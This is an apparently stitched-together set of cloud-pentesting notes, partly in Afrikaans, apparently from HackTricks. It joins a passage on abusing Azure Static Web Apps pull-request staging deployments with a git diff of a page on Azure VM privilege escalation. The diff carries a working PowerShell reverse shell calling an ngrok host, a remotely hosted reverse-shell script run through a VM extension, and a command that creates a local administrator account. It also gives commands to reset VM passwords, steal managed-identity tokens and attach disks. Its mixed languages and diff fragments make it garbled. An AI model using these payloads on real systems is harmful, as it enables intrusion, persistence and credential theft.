### Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
Standaard sal Pull Requests van 'n tak in dieselfde repo outomaties saamgestel en gebou word in 'n staging-omgewing. Dit kan misbruik word deur 'n aanvaller met skryfrechten oor die repo, maar sonder om die takbeskermings van die produksietak (gewoonlik `main`) te kan omseil om **'n kwaadwillige weergawe van die app** in die staging-URL te ontplooi.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
Die staging-URL het hierdie formaat: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` soos: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
> Let daarop dat eksterne PR's standaard nie werksvloei sal uitvoer nie, tensy hulle ten minste 1 PR in die repository gemeng het. 'n Aanvaller kan 'n geldige PR na die repo stuur en **dan 'n kwaadwillige PR** na die repo stuur om die kwaadwillige app in die staging-omgewing te ontplooi. HOWEVER, daar is 'n onverwagte beskerming, die standaard Github Action om in die statiese web app te ontplooi, benod toegang tot die geheim wat die ontplooiingstoken bevat (soos `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) selfs al word die ontplooiing met die IDToken gedoen. Dit beteken dat omdat 'n eksterne PR nie toegang tot hierdie geheim sal hê nie en 'n eksterne PR nie die Werksvloei kan verander om hier 'n arbitrêre token te plaas sonder dat 'n PR aanvaar word nie, **sal hierdie aanval regtig nie werk nie**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Vir meer inligting oor Azure Virtuele Masjiene en Netwerk, kyk:
### **`Microsoft.Compute/virtualMachines/extensions/write`**
Hierdie toestemming laat toe om uitbreidings in virtuele masjiene uit te voer wat toelaat om **arbitraire kode op hulle uit te voer**.\
Hierdie toestemming stel jou in staat om uitbreidings in virtuele masjiene uit te voer wat toelaat om **arbitraire kode op hulle uit te voer**.\
Voorbeeld van die misbruik van persoonlike uitbreidings om arbitraire opdragte in 'n VM uit te voer:
{{#tabs }}
@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Voer 'n omgekeerde dop uit
- Voer 'n omgekeerde skulp uit
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -76,9 +76,9 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Jy kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
U kan ook ander payloads uitvoer soos: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Stel wagwoord terug met die VMAccess uitbreiding
- Stel wagwoord terug met behulp van die VMAccess-uitbreiding
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
<summary>Hibriede Runbook Werker</summary>
Dit is 'n VM-uitbreiding wat die uitvoering van runbooks in VM's vanaf 'n outomatiseringsrekening moontlik maak. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-services/az-automation-account/index.html).
Dit is 'n VM-uitbreiding wat sal toelaat om runbooks in VM's vanaf 'n outomatiseringsrekening uit te voer. Vir meer inligting, kyk na die [Outomatiseringsrekeninge diens](../az-services/az-automation-account/index.html).
</details>
@@ -298,17 +298,17 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentiging in die VM geaktiveer is).
Hierdie toestemming laat 'n gebruiker toe om **in te log as gebruiker in 'n VM via SSH of RDP** (solank as Entra ID-outeentiging in die VM geaktiveer is).
Teken in via **SSH** met **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** en via **RDP** met jou **gereelde Azure-akkrediteerings**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
Hierdie toestemming laat 'n gebruiker toe om **as gebruiker in 'n VM in te log via SSH of RDP** (solank Entra ID-outeentiging in die VM geaktiveer is).
Hierdie toestemming laat 'n gebruiker toe om **in te log as gebruiker in 'n VM via SSH of RDP** (solank as Entra ID-outeentiging in die VM geaktiveer is).
Teken in via **SSH** met **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** en via **RDP** met jou **gereelde Azure-akkrediteerings**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Al hierdie is die nodige toestemmings om **'n VM met 'n spesifieke bestuurde identiteit te skep** en 'n **poort oop te laat** (22 in hierdie geval). Dit laat 'n gebruiker toe om 'n VM te skep en daaraan te koppel en **bestuurde identiteitstokens te steel** om voorregte na dit te eskaleer.
@@ -327,8 +327,8 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Daardie toestemmings is genoeg om **nuwe bestuurde identiteite aan 'n VM toe te ken**. Let daarop dat 'n VM verskeie bestuurde identiteite kan hê. Dit kan die **stelselt toegekende een** hê, en **baie gebruikers bestuurde identiteite**.\
Dan is dit moontlik om tokens vir elkeen te genereer vanaf die metadata-diens.
Daardie toestemmings is genoeg om **nuwe bestuurde identiteite aan 'n VM toe te ken**. Let daarop dat 'n VM verskeie bestuurde identiteite kan hê. Dit kan die **stelselt toegekende een** hê, en **baie gebruikersbestuurde identiteite**.\
Dan is dit moontlik om tokens vir elkeen vanaf die metadata-diens te genereer.
```bash
# Get currently assigned managed identities to the VM
az vm identity show \
@@ -343,15 +343,15 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Dan moet die aanvaller **op een of ander manier die VM gecompromitteer** het om tokens van die toegewezen bestuurde identiteite te steel. Kyk **meer inligting in**:
Dan moet die aanvaller **op een of ander manier die VM gecompromitteer** het om tokens van die toegewyde bestuurde identiteite te steel. Kyk **meer inligting in**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Hierdie toestemmings laat toe om die gebruikersnaam en wagwoord van die virtuele masjien te verander om toegang te verkry:
Hierdie toestemmings laat toe om die gebruikersnaam en wagwoord van die virtuele masjien te verander om toegang daartoe te verkry:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
@@ -359,6 +359,22 @@ az vm user update \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
Hierdie toestemmings stel jou in staat om skywe en netwerkinterfaces te bestuur, en dit stel jou in staat om 'n skyf aan 'n virtuele masjien te koppel.
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) laat hierdie toestemming jou toe om die OS van jou hulpbron via Windows Admin Center as 'n administrateur te bestuur. Dit lyk dus of dit toegang tot die WAC bied om die VM's te beheer...